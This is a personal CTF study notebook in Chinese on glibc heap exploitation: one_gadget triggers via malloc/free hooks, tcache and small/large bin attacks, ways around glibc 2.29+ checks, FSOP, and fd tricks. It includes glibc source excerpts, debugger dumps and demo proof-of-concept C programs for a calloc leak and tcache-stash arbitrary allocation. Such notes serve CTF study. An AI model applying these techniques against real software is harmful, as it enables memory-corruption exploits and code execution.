ctf笔记
随心情笔记，不定期更新
one_gadgets笔记：
1.改malloc_hook为one_gadgets,一般malloc触发的方式，one_gadgets由于限制条件不满足，执行都不会成功，可以考虑free两次造成double free，调用malloc_printerr触发，恰好[esp+0x50]=0(当向非标准IO函数向缓冲流输出或输入的数据过大时，往往会先预先给数据分配内存。比如printf/scanf-打印/输入字符串过长时会触发malloc)
2.在地址上malloc_hook与realloc_hook是相邻的，在攻击malloc_hook我们没有能够成功执行one_gadgets，但是我们可以通过将malloc_hook更改为_libc_realloc+0x14,将realloc_hook更该为one_gadgets。 这样的好处在于，我们能够控制__malloc_hook指向的代码的内容，规避掉_libc_realloc中部分指令，从而更改在执行one_gadgets时的占空间，创建能够成功执行one_gadgets的栈空间。这是一个很巧妙的点
3.虽然__free_hook上方几乎是"\x00"，无可用size，但是我们可以先用 unsorted attack 攻击__free_hook上方，在其上方踩出 size，再去劫持 __free_hook。
4.使用tcache stashing attack或unsorted_bin_attack，将_IO_2_1_stdin_->_IO_buf_end改成main_arena+x(我这里是+352)，从而可以在scanf的时候输入数据到realloc_hook和malloc_hook，改成one_gadget，调节下偏移即可。
5.利用house of husk ,覆写__printf_function_table表为heap地址(让其不为空)，覆写__printf_arginfo_table表为heap地址且heap['s']被覆写为了one_gadget，在调用格式化字符带有%sprintf()函数时，即可get shell。
6.写exit函数在ld.so中的_rtld_global._dl_rtld_lock_rescursive 为one_gadget
7.当程序开启full relor时，可写libc中puts函数开头的strlen的got表
无leak函数的利用笔记：
没开PIE的情况
1.可申请或者构造非fastbin chunk情况，能够修改free_got --> puts_plt,下次释放一个unsorted_bin chunk(入链)或者fastbin chunk(入链) ,程序调用链 free->free_got->puts_plt->puts 以此泄露libc地址或者heap地址。
2.只能存在fastbin chunk情况，修改 free_got 为 printf，释放一个有格式化字符串的chunk，利用构造格式化字符串漏洞 打印栈中的 libc 地址。
开启PIE的情况
利用IO_write_base实现leak，详细见https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie#li-yong-iowritebase-shi-xian-leak
无须泄露，全程爆破的方式(不实用)
IO_FILE笔记
程序调用exit 后会遍历 _IO_list_all,调用 _IO_2_1_stdout_ 下的vatable中_setbuf 函数.
glibc缺陷
glibc缺陷 : 对于未开启tcache版本来说，只要释放chunk大小在fastbin范围，那就不检查当前释放这个chunk是否已经free（通常检测下一个相邻chunk的prev_size位），就直接将其放入fastbin；
对于开启tcache版本来说，只要tcache中有空，那就不检查当前释放这个chunk是否已经free（通常检测下一个相邻chunk的prev_size位），并直接将其放入tcache中。对于开启tcache这种情况，相对来说就会更危险，我们很容易构造堆风水来实现进一步利用。
malloc_consolidate笔记
malloc_consolidate()函数用于将 fast bins 中的 chunk 合并，并加入 unsorted bin 中。 ptmalloc中会有以下几种情况会调用malloc_consolidate()
在
_int_malloc的while循环之前，分配的 chunk 属于 small bin,如果 small bin 还没有初始化为双向循环链表，则调用malloc_consolidate()函数将 fast bins中的 chunk 合并.在
_int_malloc的while循环之前，分配的 chunk 属于 large bin，判断当前分配区的 fast bins 中是否包含 chunk，如果存在，调用malloc_consolidate()函数合并 fast bins 中的 chunk在分配chunk时 假如最后 top chunk 也不能满足分配要求，就会查看 fast bins 中是否有空闲 chunk ，若存在就调用malloc_consolidate()函数，并重新设置当前 bin 的 index，并转到最外层的循环，尝试重新分 配 chunk。
在释放chunk时，遇到相邻空闲chunk合并或者与topchunk合并，如果合并后的 chunk 大小大于 64KB，并且 fast bins 中存在空闲 chunk，则会调用malloc_consolidate()函数合并 fast bins 中的空闲 chunk 到 unsorted bin 中
一些能触发malloc_consolidate的 trick
scanf时可输入很长一段字符串 "1"*0x1000,这样可以导致scanf内部扩充缓冲区，从而调用init_malloc来分配更大的空间，从而导致malloc_consolidate，合并fast_bin中的空闲chunk。调用栈如图：
如果程序没有setbuf(stdin,0)也就是没有关闭stdin的缓冲区。getchar() 会开辟一个很大的堆块形成缓冲区，也就是申请0x400的chunk,此时fast_bin中存在chunk，就会调用
malloc_consolidate合并
pwndbg> bt
#0 __GI___libc_malloc (bytes=1024) at malloc.c:2902
#1 0x00007ffff7a7a1d5 in __GI__IO_file_doallocate (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at filedoalloc.c:127
#2 0x00007ffff7a88594 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:398
#3 0x00007ffff7a8769c in _IO_new_file_underflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at fileops.c:556
#4 0x00007ffff7a8860e in __GI__IO_default_uflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:413
#5 0x00007ffff7a83255 in getchar () at getchar.c:37程序退出
1.程序会执行到libc里面__GI___call_tls_dtors函数
0x7ffff7a475d0 <__GI___call_tls_dtors>: push rbp
0x7ffff7a475d1 <__GI___call_tls_dtors+1>: push rbx
0x7ffff7a475d2 <__GI___call_tls_dtors+2>: sub rsp,0x8
0x7ffff7a475d6 <__GI___call_tls_dtors+6>: mov rbp,QWORD PTR [rip+0x3897a3] # 0x7ffff7dd0d80
=> 0x7ffff7a475dd <__GI___call_tls_dtors+13>: mov rbx,QWORD PTR fs:[rbp] # rbp=-0x40
0x7ffff7a475e2 <__GI___call_tls_dtors+18>: test rbx,rbx
0x7ffff7a475e5 <__GI___call_tls_dtors+21>: je 0x7ffff7a4762e <__GI___call_tls_dtors+94>
0x7ffff7a475e7 <__GI___call_tls_dtors+23>: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7a475f0 <__GI___call_tls_dtors+32>: mov rdx,QWORD PTR [rbx+0x18]
0x7ffff7a475f4 <__GI___call_tls_dtors+36>: mov rax,QWORD PTR [rbx]
0x7ffff7a475f7 <__GI___call_tls_dtors+39>: mov rdi,QWORD PTR [rbx+0x8]
0x7ffff7a475fb <__GI___call_tls_dtors+43>: ror rax,0x11
0x7ffff7a475ff <__GI___call_tls_dtors+47>: xor rax,QWORD PTR fs:0x30
0x7ffff7a47608 <__GI___call_tls_dtors+56>: mov QWORD PTR fs:[rbp+0x0],rdx
0x7ffff7a4760d <__GI___call_tls_dtors+61>: call rax
0x7ffff7a4760f <__GI___call_tls_dtors+63>: mov rax,QWORD PTR [rbx+0x10]观察看出，__GI___call_tls_dtors+18也就是rbx不为零时，程序会执行到下面的call rax，且参数是由rbx控制，再看__GI___call_tls_dtors+13,rbx是fs:[-0x40]，也就是当前线程栈的TLS结构体的上方0x40处，若能覆盖到此处，就能控制程序执行流程。在最终call rax之前，还有一次ror rax,0x11和xor rax, fs:[0x30]，需要leak出TLS的pointer_guard成员.
typedef struct {
void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; #canary offset=fs:0x28
uintptr_t pointer_guard;
... } tcbhead_t;2.程序在执行退出流程时，最终会在ld.so这个动态装载器里面调用_dl_fini函数，这个函数，利用方式见下图：
pwndbg>
10:0080│ 0x7fffffffe4c0 ◂— 0x0
... ↓
13:0098│ 0x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
14:00a0│ 0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
15:00a8│ 0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp 0x7ffff7de77b0
16:00b0│ 0x7fffffffe4f0 ◂— 0x0rbx的值为栈里_dl_init+139上方的0x7ffff7ffe168
calloc绕过 leak
2.23及 以上libc都适用
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
typedef long *longptr;
int main()
{
longptr v[7];
long *a,*b,*c;
a=malloc(20);
b=malloc(20);
memset(b,'A',20);
/*
for (int i=0;i<7;i++)
{
v[i]=malloc(20);
}
for (int i=0;i<7;i++)
{
free(v[i]);
}
*/
free(b);
b[-1] |= 2;
c=calloc(1,20);
for (int i=0;i<20;i++)
{
printf("%.2x",((char *)c)[i]);
}
putchar("\n");
exit(0);
}给fastbin_chunk的size的IS_MAPPED域置1.通过calloc分配到时，不会被清空。
chris@ubuntu:~$ ./calloc
00000000000000004141414141414141414141419stack_povit
栈迁移到.bss段时，若栈上方(低地址处)有大约0x200字节的空白空间，则执行system函数就不会报错；但我们通常使用onegadget获取shell
fd相关 close(1)
对于有write函数调用的情况下.
write函数直接能够将输出重定位到0或2描述符.
#include<stdio.h>
void main()
{
close(1);
write(0,"123",3);
return 0;
}这时能打印123.原因是0，1，2文件描述符都指向同一个tty文件，如下：
[master●]#~ file /proc/8642/fd/0
/proc/8942/fd/0: symbolic link to /dev/pts/18
[master●]#~ file /proc/8642/fd/1
/proc/8942/fd/1: symbolic link to /dev/pts/18
[master●]#~ file /proc/8642/fd/2
/proc/8942/fd/2: symbolic link to /dev/pts/18无write函数调用情况下.
由于程序只关闭了文件描述符1，却没有关闭文件描述符0，所以我们可以修改stdout的文件描述符_fileno为0或2，则可以使得程序再次拥有了输出的能力，这时再调用printf或者puts就能输出了
close(1)后，格式化字符串最多只能写0x2000字节，这种情况下在利用时可修改程序.bss段中的stdout指针地址为stderr指针，由源码分析，在vprintf的check时刚好能通过，这使得printf再次拥有输出能力
close(1)时获取服务器端flag，利用重定向"cat flag >&0"
再调用scanf时，会取到
_IO_2_1_stdin_结构的fileno,最终汇到底层系统调用read（_IO_2_1_stdin_.fileno，buf，nbytes）。所以有些时候如果我们能够控制IO_stdin结构的fileno为其它fd，再去调用scanf函数时就可以实现从其它fd读数据。
off-by-one 构造思路
方法一
方法二
方法三(非特殊情况不推荐)
原理与方法一类似，在能泄露heap地址前提下，直接构造fake_chunk,填好指针，绕过unlink
realloc
简化版的realloc，非mmapped分配方式
__libc_realloc (void *oldmem, size_t bytes)
{
checked_request2size (bytes, nb_szie);
old_size = chunksize (oldmem);
// 如果bytes为零，相当于free
if (bytes = 0)
{
free(oldmem);
return 0;
}
// 如果old_size大于请求size，那就缩减old_size,如果缩减的size小于当前arch最小chunk的大小(不能切割出一个chunk)，那就直接返回原来的oldmem，剩下的交给用户处理，不多管.
if (old_size > nb_size)
{
if (old_size - nb_size >= 4 * SIZE_SZ)
{
free( oldmem + nb_size );
}
old_size=nb_size;
return oldmem;
}
// 如果old_size小于请求size，glibc2.23是按照常规malloc分配，2.27是从直接从topchunk分配
if (old_size < nb_size )
{
if (glibc==2.23)
{
p=malloc(bytes);
free(oldmem);
return p;
}
if(glibc==2.27)
{
p=malloc(bytes); // no_tcache 的_int_malloc不会分配tcache里面的chunk
free(oldmem);
return p;
}
}
}tcache相关
tcache_perthread_struct结构体是用来管理tcache链表： 这个结构体位于heap段的起始位置，且有size：0x251
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//数组长度64，每个元素最大为0x7，仅占用一个字节（对应64个tcache链表）
tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组（对应64个tcache链表，cache bin中最大为0x400字节
//每一个指针指向的是对应tcache_entry结构体的地址。
} tcache_perthread_struct;一个tcache链表的结构，单个tcache bins默认最多包含7个块。tcache_entry： 2.26
typedef struct tcache_entry
{
struct tcache_entry *next;//指向的下一个chunk的fd字段
} tcache_entry;2.28存在bk字段所有的bk都指向tcache_perthread_struct的fd
typedef struct tcache_entry
{
//指向tcache的下一个chunk，
struct tcache_entry *next;
/* 这个字段是用来检测双重free释放的 */
struct tcache_perthread_struct *key;
} tcache_entry;放入tcache bin的情况:
释放时，
_int_free中在检查了size合法后(小于0x400)，放入fastbin之前，它先尝试将其放入tcache在
_int_malloc中，若fastbins中取出块则将对应bin中其余chunk填入tcache对应项直到填满（smallbins中也是如此）当进入unsorted bin(同时发生堆块合并）中找到精确的大小时，并不是直接返回而是先加入tcache中，直到填满：
取tcache bin中的chunk：
在
__libc_malloc，_int_malloc之前，如果tcache中存在满足申请需求大小的块，就从对应的tcache中返回chunk在遍历完unsorted bin(同时发生堆块合并）之后，若是tcache中有对应大小chunk则取出并返回：
在遍历unsorted bin时，大小不匹配的chunk将会被放入对应的bins，若达到
tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出（默认无限制）：
tcache struct攻击
tcache初始化
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}在程序需要进行动态分配时，如果是使用TCACHE机制的话，会先对tcache进行初始化。跟其他bins不一样的是，tcache是用_int_malloc函数进行分配内存空间的，因此tcache结构体是位于heap段，而不是main_arena。通常 tcache结构体位于堆首的chunk.
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;tcache的结构是由0x40字节数量数组（每个字节代表对应大小tcache的数量）和0x200(0x40*8)字节的指针数组组成（每8个字节代表相应tache_entry链表的头部指针）。因此整个tcache_perthread_struct结构体大小为0x240。
tcache free
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)//<7
{
tcache_put (p, tc_idx);
return;
}
}
#endif在将chunk放入tcahce的时候会检查tcache->counts[tcidx] < mp.tcache_count（无符号比较），也就是表示在tacha_entry链表中的tache数量是否小于7个。但值得注意的是，tcache->counts[tc_idx]是放在堆上的，因此如果可以修改堆上数据，可以将其改为较大的数，这样就不会将chunk放入tache了。
tcache malloc
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif而在tcache分配时，不会检查tcache->counts[tc_idx]的大小是否大于0，会造成下溢。且没有检测entries处chunk的合法性，我们若能伪造tcache->entries[tc_idx]的tcache_entry指针，那我们就能实现从tcache任意地址分配chunk。
关于glibc 2.29及以上一些check的绕过
1.在unlink操作前增加了prevsize的检查机制：在合并的时候会判断prev_size和要合并chunk的size是否相同。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}这样导致了常规off-by-null的构造方式失效，但可利用残余在 large bin 上的 fd_nextsize / bk_nextsize 指针，smallbin残留的bk指针，以及fastbin的fd指针 来构造出一个天然的chunk链来绕过size检测与双向链表检测。具体见https://bbs.pediy.com/thread-257901.htm
2.增加了tcache_double_free的检测，2.29将每个放入tcache中的chunk->bk(也是tcache entries结构的key位)设置为tcache。
void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}在释放tcache中的chunk时，只根据相应的tc_idx检测重复chunk
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}绕过方式：可以将同一个tcache_chunk放入不同的tcache_bin或其他bin中来重新实现利用（这种方式见House_of_botcake）；也可以篡改chunk->key，使其e->key != tcache来绕过。
也可以利用fastbin的double free，待fastbin形成double_free链后再malloc重分配清空tchache预留位置，最后一次malloc使得剩余fastbin进入tcache，实现堆块复用。详细可参见glibc2.31下的新double free手法/字节跳动pwn题gun题解
3._int_malloc中，使用unsortedbin_attack时，增加了对unsortedbin双向链表的完整性检测，导致unsortedbin_attack不可用.
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);但有另外的地方可利用，unsortedbin_attack无非就是往一个地址写一个值，如果只是为了改例如global_max_fast,那largebin_attack完全可以替代，只不过写入的是堆地址，只是和largebin_attack配套的house of strom来实现任意地址分配不能用了。
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");如果要达到写libc地址，也可以，有师傅把它叫做tcache stash unlink attack plus，
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}前置条件是：对应tcache中预留2个chunk位（至少）(除非你能伪造fd，绕过双向链表检测)
small bin中存在2个chunk，我们修改small bin头部chunk的bk为target，fd不变（ 不修改small bin尾部chunk是为了绕过分配时的smallbin double linked list corrupted检测 ）,且target->bk( target+3*size_t )必须是一个可写地址，记作target->bk = attack_addr
原理是_int_malloc中,当从small bin中申请出chunk时，small bin尾部chunk在经过双向链表检测后会被分配出去，启用tcache会遍历small bin中剩余的chunk放入到对应tcache中，但此时的small bin链表已经被破坏，(tc_victim = last (bin)) != bin 这个条件恒成立直到abort，为了beak那个while循环，我们才在tcache中预留2个chunk位，直到tcache被填满tcache->counts[tc_idx] = mp_.tcache_count以此来跳出循环。
同时在最后一次unlink过程中会往attack_addr -> fd写入一个main_arena的地址，实现任意地址写。(当然这个洞在引入tcache时的glibc版本就已经存在)。
static void *
_int_malloc (mstate av, size_t bytes)
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}这时tcache已满，且tcache顶部刚好是我们伪造那个target_chunk
4.在使用top chunk的时候增加了检查：size要小于等于system_mems，因为House of Force需要控制top chunk的size为-1，不能通过这项检查，所以House of Force不可用
5.从glibc 2.30开始，常规large bin attack方法也被封堵
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");查看相关代码，发现其中只增加了对 size 大于最小 size 的时候做了 检查，但是小于最小 size 却没有进行检查，因此我们可以利用这一点来完成 libc2.30 及以上的largebin attack。
具体做法是，往 largebin 中放一个堆块，并在 unsorted bin 中放一个比 large bin 中小但是在同一个 index的堆块，利用 uaf 修改 large bin 的 bk_nextsize = 目标地址，申请一个比 unsorted bin 中小的 chunk 触发攻击，此时 largebin->bk_nextsize->fd_nextsize 写入堆地址。
tcache相关冷门漏洞(任意地址写与任意地址分配)
1.small bin
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}前置条件是：对应tcache中预留2个chunk位（至少）(除非你能伪造fd，绕过双向链表检测)
small bin中存在2个chunk，我们修改small bin头部chunk的bk为target，fd不变（ 不修改small bin尾部chunk是为了绕过分配时的smallbin double linked list corrupted检测 ）,且target->bk( target+3*size_t )必须是一个可写地址，记作target->bk = attack_addr
原理是_int_malloc中,当从small bin中申请出chunk时，small bin尾部chunk在经过双向链表检测后会被分配出去，启用tcache会遍历small bin中剩余的chunk放入到对应tcache中，但此时的small bin链表已经被破坏，(tc_victim = last (bin)) != bin 这个条件恒成立直到abort，为了beak那个while循环，我们才在tcache中预留2个chunk位，直到tcache被填满tcache->counts[tc_idx] = mp_.tcache_count以此来跳出循环。
同时在最后一次unlink过程中会往attack_addr -> fd写入一个main_arena的地址，实现任意地址写。
static void *
_int_malloc (mstate av, size_t bytes)
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}这时tcache已满，且tcache顶部刚好是我们伪造那个target_chunk
由于smallbin摘链后chunk全部进入tcache，且已满，这时tcache对应idx入口处的chunk是target_chunk。如果再次调用malloc申请chunk，得益于从tcache分配时未仔细检查chunk_head，这时便会从tcache中将这个target_chunk分配出来，实现任意地址分配内存。
demo代码可参考V1me师傅写的
#include<stdio.h>
#include<stdlib.h>
int main() {
char buf[0x100];
long *ptr1 = NULL, *ptr2 = NULL;
int i = 0;
memset(buf, 0, sizeof(buf));
*(long *)(buf + 8) = (long)buf + 0x40;
// put 5 chunks in tcache[0x90]
for (i = 0; i < 5; i++) {
free(calloc(1, 0x88));
}
// put 2 chunks in small bins
ptr1 = calloc(1, 0x168);
calloc(1, 0x18);
ptr2 = calloc(1, 0x168);
for (i = 0; i < 7; i++) {
free(calloc(1, 0x168));
}
free(ptr1);
ptr1 = calloc(1, 0x168 - 0x90);
free(ptr2);
ptr2 = calloc(1, 0x168 - 0x90);
calloc(1, 0x108);
// ptr1 and ptr2 point to the small bin chunks [0x90]
ptr1 += (0x170 - 0x90) / 8;
ptr2 += (0x170 - 0x90) / 8;
// vuln
ptr2[1] = (long)buf - 0x10;
// trigger
calloc(1, 0x88);
// malloc from tcache
ptr1 = malloc(0x88);
strcpy((char *)ptr1, "Ohhhhhh! you are pwned!");
printf("%s\n", buf);
return 0;
}2.fast bin
当从fastbin中分配出chunk时(比如调用calloc->_int_malloc)，如果fastbin中还有剩余chunk且相对应idx的tcache有空闲位置，这时就会根据fd指针将剩余的fastbin_chunk链入tcache中，且在这个过程中并没有检查剩余fastbin_chunk的完整性。
static void *
_int_malloc (mstate av, size_t bytes)
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif如果我们通过UAF能修改fastbin链表尾部chunk的fd指针为一个target_addr，当这个target_chunk最后被滑入tcache中时，target_chunk做为tcache的头部，若tcache中存在其他chunk，则target_chunk -> fd 就被写入一个堆地址，实现任意地址写。
与此同时，如果再次调用malloc申请chunk，得益于从tcache分配时未仔细检查chunk_head，这时便会从tcache中将这个target_chunk分配出来，实现任意地址分配内存。（任意地址分配内存在这种情况下是个鸡肋，因为我们完全可以不清空tcache,利用UAF+calloc也就是fastbin_attck来实现任意地址分配）
glibc 2.28及以上堆利用的栈转移
1.在2.29中vtable是可写的
2.setcontext函数中gadget指令可控寄存器变成了rdx，非rdi
1.利用FSOP控制程序流程
在libc-2.29下_IO_strfile没有了像libc-2.24下的fp->_s._allocate_buffer()这类函数操作，都被修改为了标准函数(malloc...)，所以没办法直接直接像libc-2.24那样直接劫持程序流。因此不能使用以前的io_file攻击手法来劫持流程，但是我们看到在_IO_str_overflow函数中有很多函数,并且参数我们都可以控制，因此我们可以利用这一点来完成新版的io_file攻击
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags &
_IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}看_IO_str_overflow对应的汇编代码：
.text:00007FFFF7E73AEB mov rdx, [rdi+28h]
.text:00007FFFF7E73AEF
.text:00007FFFF7E73AEF loc_7FFFF7E73AEF: ; CODE XREF: _IO_str_overflow+175↓j
.text:00007FFFF7E73AEF mov r12, [rdi+38h]
.text:00007FFFF7E73AF3 mov r15, [rdi+40h]
.text:00007FFFF7E73AF7 xor eax, eax
.text:00007FFFF7E73AF9 mov ebp, esi
.text:00007FFFF7E73AFB mov rbx, rdi
